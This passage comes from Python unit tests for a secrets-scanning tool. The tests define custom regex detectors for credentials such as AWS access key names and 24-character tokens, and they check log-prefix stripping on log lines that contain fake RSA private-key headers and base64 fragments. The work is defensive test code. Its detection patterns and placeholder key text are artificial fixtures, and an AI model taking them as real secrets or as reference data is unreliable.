\"value\": [\"abcdefg\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\n                        \"1234567\"\n                    ],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]\n        detector_obj = modify_secrets_policy_to_detectors(policies_list)\n        detectors_result: List[Dict[str, Any]] = [{\n            \"Name\": \"test1\",\n            \"Check_ID\": \"test1\",\n            \"Regex\": \"abcdefg\"\n        },\n            {\n                \"Name\": \"test2\",\n                \"Check_ID\": \"test2\",\n                \"Regex\": \"1234567\"\n            }]\n        detector_obj.sort(key=lambda detector: detector['Check_ID'])\n        detectors_result.sort(key=lambda detector: detector['Check_ID'])  # type: ignore\n        assert all(\n            True for x in range(0, len(detector_obj)) if detector_obj[x]['Check_ID'] == detectors_result[x]['Check_ID'])\n        assert len(detectors_result) == len(detector_obj)\n\n    def test_custom_regex_detector(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?:^|\\W)HANA(?:$|\\W)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?:^|\\W)LIR(?:$|\\W)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 3)\n\n    def test_non_entropy_take_precedence_over_entropy(self):\n        # given: File with entropy secret and custom secret\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/custom_and_entropy\"\n        check_id = 'test1'\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": check_id,\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": check_id,\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": ['test_pass =\\s*\"(.*?)\"'],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n\n        # when: Running the secrets runner on the file\n        report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True))\n\n        # then: Validating that the non-entropy is the one.\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\"])\n        self.assertEqual(len(interesting_failed_checks), 1)\n        self.assertEqual(interesting_failed_checks[0].check_id, check_id)\n\n    def test_custom_regex_detector_value_str(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?:^|\\W)HANA(?:$|\\W)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?:^|\\W)LIR(?:$|\\W)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 3)\n\n    def test_custom_regex_detector_in_custom_limit_characters(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?i)(?:test)(?:[0-9a-z\\\\-_\\\\t .]{0,20})(?:[\\\\s|']|[\\\\s|\\\"]){0,3}(?:=|>|:=|\\\\|\\\\|:|<=|=>|:)(?:'|\\\\\\\"|\\\\s|=|\\\\x60){0,5}([a-z0-9]{24})(?:['|\\\\\\\"|\\\\n|\\\\r|\\\\s|\\\\x60|;]|$)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 1)\n\n    def test_custom_regex_detector_out_custom_limit_characters(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?i)(?:out)(?:[0-9a-z\\\\-_\\\\t .]{0,20})(?:[\\\\s|']|[\\\\s|\\\"]){0,3}(?:=|>|:=|\\\\|\\\\|:|<=|=>|:)(?:'|\\\\\\\"|\\\\s|=|\\\\x60){0,5}([a-z0-9]{24})(?:['|\\\\\\\"|\\\\n|\\\\r|\\\\s|\\\\x60|;]|$)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 0)\n\n    def test_custom_regex_detector_skip_long_line(self):\n        #  given\n        valid_dir_path = Path(__file__).parent / \"long_line_custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"\\w{20}\"],  # this would definitely get a result, but should not, because of the line length\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\": [],\n                \"provider\": \"AWS\",\n                \"remediationIds\": [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n\n        # when\n        report = Runner().run(\n            root_folder=str(valid_dir_path),\n            runner_filter=RunnerFilter(\n                framework=[\"secrets\"],\n                enable_secret_scan_all_files=True\n            )\n        )\n\n        # then\n        self.assertEqual(len(report.failed_checks), 0)\n\n    def test_modify_secrets_policy_to_multiline_detectors(self) -> None:\n        policies_list: List[Dict[str, Any]] = [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\": [\n                    \"aws_instance\"\n                ],\n                \"provider\": \"AWS\",\n                \"remediationIds\": [],\n                \"customerName\": \"lshind\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  value:\\n  - '{[\\\\s\\\\S]*}'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"frameworks\": [\n                    \"CloudFormation\",\n                    \"Terraform\"\n                ],\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  value:\\n  - '{[\\\\s\\\\S]*paz*}'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test3\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\n                        \"1234567\"\n                    ],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test3\",\n                \"isCustom\": True,\n                \"code\": \"\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]\n        detector_obj = modify_secrets_policy_to_detectors(policies_list)\n        detectors_expected_result: List[Dict[str, Any]] = [\n            {\"Name\": \"test1\", \"Check_ID\": \"test1\", \"Regex\": \"{[\\\\s\\\\S]*}\", \"isMultiline\": False},\n            {\"Name\": \"test2\", \"Check_ID\": \"test2\", \"Regex\": \"{[\\\\s\\\\S]*paz*}\", \"isMultiline\": True},\n            {\"Name\": \"test3\", \"Check_ID\": \"test3\", \"Regex\": \"1234567\", \"isMultiline\": False}\n        ]\n        detector_obj.sort(key=lambda detector: detector['Check_ID'])\n        detectors_expected_result.sort(key=lambda detector: detector['Check_ID'])  # type: ignore\n        assert all(\n            True for x in range(0, len(detector_obj)) if\n            detector_obj[x]['Check_ID'] == detectors_expected_result[x]['Check_ID'] and\n            detector_obj[x]['isMultiline'] == detectors_expected_result[x]['isMultiline'])\n        assert len(detectors_expected_result) == len(detector_obj)\n\n    def test_custom_multiline_regex_detector(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/multiline_custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  supported_files:\\n  - .mine\\n  value:\\n  - '[\\\\s\\\\S]*HANA*'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"conditionQuery\": {\n                    \"value\": [\"(?:^|\\W)LIR(?:$|\\W)\"],\n                    \"cond_type\": \"secrets\"\n                },\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": None,\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(\n                                framework=['secrets'],\n                                enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 3)\n\n    def test_custom_multiline_regex_detector_only_scan_file(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/multiline_custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  supported_files:\\n  - .mine\\n  value:\\n  - '[\\\\s\\\\S]*HANA*'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  supported_files:\\n  - .mine\\n  value:\\n  - '[\\\\s\\\\S]*LIR*'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 2)\n\n    def test_custom_multiline_regex_detector_only_supported_files(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/multiline_custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  supported_files:\\n  - .mine\\n  value:\\n  - '[\\\\s\\\\S]*HANA*'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            },\n            {\n                \"incidentId\": \"test2\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test2\",\n                \"guideline\": \"test2\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test2\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  value:\\n  - '[\\\\s\\\\S]*LIR*'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\", \"test2\"])\n        self.assertEqual(len(interesting_failed_checks), 1)\n\n    def test_prerun_singleline_regex_detector(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/multiline_custom_regex_detector\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  prerun:\\n  - (?i)(?:ACCESS)\\n  supported_files:\\n  - .mine\\n  value:\\n  - 'AWS_ACCESS_KEY_ID'\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\"])\n        self.assertEqual(len(interesting_failed_checks), 1)\n"
  },
  {
    "path": "tests/secrets/test_log_prefix_stripper.py",
    "content": "import unittest\n\nfrom checkov.secrets.log_prefix_stripper import (\n    strip_log_prefix,\n    has_log_prefixes,\n    strip_log_prefixes_from_content,\n    create_stripped_content,\n)\nfrom pathlib import Path\n\nfrom checkov.secrets.runner import Runner\nfrom detect_secrets.settings import transient_settings\n\n\nclass TestStripLogPrefix(unittest.TestCase):\n    \"\"\"Tests for the strip_log_prefix function.\"\"\"\n\n    def test_pipe_separated_prefix(self) -> None:\n        line = \"2026-01-07 09:41:37.553 | DEBUG | crypto      | -----BEGIN RSA PRIVATE KEY-----\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"-----BEGIN RSA PRIVATE KEY-----\")\n\n    def test_pipe_separated_prefix_with_info(self) -> None:\n        line = \"2026-01-07 09:41:37.552 | INFO  | crypto      | Decrypting signing key\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"Decrypting signing key\")\n\n    def test_bracket_style_prefix(self) -> None:\n        line = \"[2026-01-07 09:41:37] [DEBUG] -----BEGIN RSA PRIVATE KEY-----\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"-----BEGIN RSA PRIVATE KEY-----\")\n\n    def test_bracket_style_with_module(self) -> None:\n        line = \"[2026-01-07 09:41:37] [INFO] [crypto] Decrypting signing key\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"Decrypting signing key\")\n\n    def test_space_separated_prefix(self) -> None:\n        line = \"2026-01-07 09:41:37.553 DEBUG crypto - -----BEGIN RSA PRIVATE KEY-----\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"-----BEGIN RSA PRIVATE KEY-----\")\n\n    def test_iso_timestamp_prefix(self) -> None:\n        line = \"2026-01-07T09:41:37.553Z | INFO  | Starting application\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"Starting application\")\n\n    def test_time_only_prefix(self) -> None:\n        line = \"09:41:37.553 | DEBUG | crypto | -----BEGIN RSA PRIVATE KEY-----\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"-----BEGIN RSA PRIVATE KEY-----\")\n\n    def test_no_prefix(self) -> None:\n        line = \"-----BEGIN RSA PRIVATE KEY-----\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"-----BEGIN RSA PRIVATE KEY-----\")\n\n    def test_plain_text_no_prefix(self) -> None:\n        line = \"This is just a normal line of text\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"This is just a normal line of text\")\n\n    def test_empty_line(self) -> None:\n        result = strip_log_prefix(\"\")\n        self.assertEqual(result, \"\")\n\n    def test_base64_content_preserved(self) -> None:\n        line = \"2026-01-07 09:41:37.553 | DEBUG | crypto      | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8\"\n        result = strip_log_prefix(line)\n        self.assertEqual(result, \"MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8\")\n\n\nclass TestHasLogPrefixes(unittest.TestCase):\n    \"\"\"Tests for the has_log_prefixes function.\"\"\"\n\n    def test_log_file_detected(self) -> None:\n        content = (\n            \"2026-01-07 09:41:37.550 | INFO  | main        | Starting application\\n\"\n            \"2026-01-07 09:41:37.551 | INFO  | config      | Loading configuration\\n\"\n            \"2026-01-07 09:41:37.552 | INFO  | crypto      | Decrypting signing key\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | -----BEGIN RSA PRIVATE KEY-----\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\\n\"\n        )\n        self.assertTrue(has_log_prefixes(content))\n\n    def test_plain_file_not_detected(self) -> None:\n        content = (\n            \"-----BEGIN RSA PRIVATE KEY-----\\n\"\n            \"MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8rJ3k8PpZrK7aR0L8\\n\"\n            \"-----END RSA PRIVATE KEY-----\\n\"\n        )\n        self.assertFalse(has_log_prefixes(content))\n\n    def test_mixed_content_below_threshold(self) -> None:\n        content = (\n            \"This is a normal line\\n\"\n            \"Another normal line\\n\"\n            \"Yet another normal line\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | one log line\\n\"\n            \"More normal content\\n\"\n            \"Even more normal content\\n\"\n            \"Still normal\\n\"\n            \"Normal again\\n\"\n            \"Normal once more\\n\"\n            \"Final normal line\\n\"\n        )\n        self.assertFalse(has_log_prefixes(content))\n\n    def test_empty_content(self) -> None:\n        self.assertFalse(has_log_prefixes(\"\"))\n\n    def test_bracket_log_detected(self) -> None:\n        content = (\n            \"[2026-01-07 09:41:37] [INFO] Starting application\\n\"\n            \"[2026-01-07 09:41:37] [INFO] Loading configuration\\n\"\n            \"[2026-01-07 09:41:37] 